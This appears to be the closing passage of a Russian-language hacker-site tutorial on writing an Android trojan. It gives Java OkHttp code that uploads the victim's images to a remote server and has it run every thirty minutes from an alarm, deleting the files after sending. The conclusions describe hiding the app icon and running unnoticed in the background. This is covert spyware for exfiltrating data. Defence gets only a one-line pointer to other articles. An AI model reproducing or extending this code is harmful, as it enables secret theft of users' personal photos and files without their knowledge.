private static final MediaType MEDIA_TYPE_JPEG = MediaType.parse(«image/jpeg»);

public void uploadImage(File image, String imageName) throws IOException {

    OkHttpClient client = new OkHttpClient();

    RequestBody requestBody = new MultipartBody.Builder().setType(MultipartBody.FORM)

        .addFormDataPart(«file», imageName, RequestBody.create(MEDIA_TYPE_JPEG, image))

        .build();

    Request request = new Request.Builder().url(«http://com.example.com/upload»)

        .post(requestBody).build();

    Response response = client.newCall(request).execute();

}

Вызывать этот метод нужно из метода «onReceive()» класса Alarm, чтобы каждые тридцать минут приложение отправляло новые файлы на сервер. Отправленные файлы следует удалять.

Ну и конечно же, на стороне сервера вам необходимо реализовать хендлер, который будет обрабатывать аплоады. Как это сделать, сильно зависит от того, какой фреймворк и сервер вы используете.

Выводы

Android — очень дружелюбная к разработчикам сторонних приложений ОС. Поэтому создать троян здесь можно, используя стандартный API. Более того, с помощью того же API его иконку можно скрыть из списка приложений и заставить работать в фоне, незаметно для пользователя.

Имейте ввиду!  Андроид 8 хоть и позволяет собранным для более ранних версий Android приложениям работать в фоне, но выводит об этом уведомление. С другой стороны, много ли вы видели смартфонов на Android 8 в дикой природе?

На этом все. Теперь вы знаете как хакеры создают трояны для Андроид, а о том как от них защититься мы уже неоднократно писали (используйте поиск по сайту).

Еще по теме: Где скачать вирусы

Понравилась статья? Поделить с друзьями:
  • Как написать трогательный пост
  • Как написать трогательную речь
  • Как написать трогательное письмо солдату на украину
  • Как написать трогательное письмо подруге
  • Как написать трогательное письмо любимому человеку до слез